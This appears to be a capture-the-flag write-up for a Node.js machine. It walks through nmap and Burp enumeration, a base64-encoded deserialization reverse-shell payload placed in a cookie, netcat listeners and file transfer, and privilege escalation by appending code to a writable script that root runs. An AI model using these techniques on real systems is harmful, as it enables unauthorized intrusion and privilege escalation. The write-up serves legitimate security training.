Intercepting & analyzing NodeJS requests is the key to begin the understanding of this challenge. Once it has been understood how the server manipulating strings, a reverse shell can allow remote attacker to made a reserve shell pops.

When connected on the system, and after trying to find some hidden processes or files during hours ... Just take a break. Breathe. And observe.
Some files are modified periodically. Simply understand by whom, when, and the game is finished.

Lesson learned on this one: Take you time, and observe around you.



Begin by the classic nmap scanning, here with:

  • "-A" option that regroup
  • -sC (script scanning)
  • -sV (version scanning)
  • -O (Os Detection), and no timing option, so this is a pretty intrusive scan method.
root@kali-oscp:~# nmap -A -p-
Starting Nmap 7.70 ( ) at 2018-10-29 07:44 EDT
Nmap scan report for
Host is up (0.017s latency).
Not shown: 893 closed ports, 106 filtered ports
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Web Enumeration

Continue by enumerating the NodeJS framework with Burp, that will allow us to modify if needed GET/POST requests easily.

1- Start Burp Suite Community Edition
2- “Proxy” tab -> Intercept on
3- Start firefox & configure local burp a the proxy
4- Firefox: go to
5- Burp: Action -> Send to Repeater
6- “Repeater” tab
7- Go

Adding a /blah to the request, and the web server will respond.

The “profile” parameter of the GET command is abnormally long compared to the common usage. so it seems to be encoded ?

Both %3D%3D at the end of the string represent "==" encoded in HTML, so now I know this char is encoded in base64. Copy the string, remove the %3D%3D at the end, and decode it.

root@kali-oscp:~# echo eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ |base64 --decode
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

If I change only one character on the “profile=” string, I get a bunch of errors with some interesting informations. A username ("sun"), and apparently as this generate an error, we can try to pass data into this unserialize function.



I use the NodeJSShell Python script script to generate an encoded payload for a reverse shell, then I will pass it into the “profile" cookie parameter.

Now I need to encode it with base64 into the previous decoded string. Do not forget to close the function with }()"} .

There are 2 methods to encode this string:

Method n°1: Use the “Decoder” tab on Burp to encode it in base64


Method n°2: Command-line version
root@kali-oscp:~# echo ......... |base64


On the local computer side, open a listener on port 8586.

root@kali-oscp:~# nc -nlvp 8586

On Burp Suite side, copy/paste the result of the encoded base64 string on the “profile” cookie value, and press "Go"

Now, on the listener side I'm connected as the "sun" user.

Upgrade to a full interactive shell with "bash -i".



To escalate our privileges, we need to enumerate this user account. So uploading will shorten our tasks. Here are 2 methods to proceed.

Method n°1

On the remote host:

sun@sun:~$ nc -l 8587 >

On the local computer:

sun@sun:~$ nc -w3 8587 <

Method n°2

On the local computer:

python -m SimpleHTTPServer

On the remote host:

sun@sun:~$ wget


LinEnum execution reveals that every 30minutes a JS file is executed. That seems to restore completely the NodeJS server.

*/30 * * * * nodejs /home/sun/server.js >/dev/null 2>&1

Under Documents/, there is a script that: * prints “Script is running...” * is execute every 5 minutes by "root" user * is writable by "sun" user * is dropping the output into an output.txt file

So, simply adding python code to open /root/root.txt will be certainly enough.


sun@sun:~$ echo "with open('/root/root.txt', 'r') as fin:\n print" >Documents/

and wait for 5min

sun@sun:~$ cat ~/output.txt